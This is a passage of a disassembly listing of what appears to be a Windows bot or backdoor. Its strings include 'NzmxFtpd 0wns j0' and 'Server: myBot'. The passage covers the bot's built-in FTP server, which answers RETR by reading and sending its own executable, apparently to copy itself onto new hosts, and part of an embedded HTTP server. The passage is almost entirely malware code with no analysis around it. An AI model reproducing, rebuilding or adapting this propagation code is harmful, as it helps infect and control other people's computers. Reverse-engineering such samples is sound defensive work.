		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574


loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax


loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB


loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]


loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		call	near ptr 71AB1A6Dh
		nop
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------


loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------


loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_436F0C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h


loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------


loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------


loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax


loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	[ebp+arg_0]
		mov	dword_436F08, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h


loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2620494h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi


loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43AD98
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43ADC0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43AE34
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43AD80
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43AC90
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]


loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47


loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43AE30
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]


loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2


loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3


loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------


loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06


loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]


loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]


loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31


loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]


loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43AE30


loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h


loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h


loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43ADE8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------


loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h


loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43AE30
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D5h
		nop
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
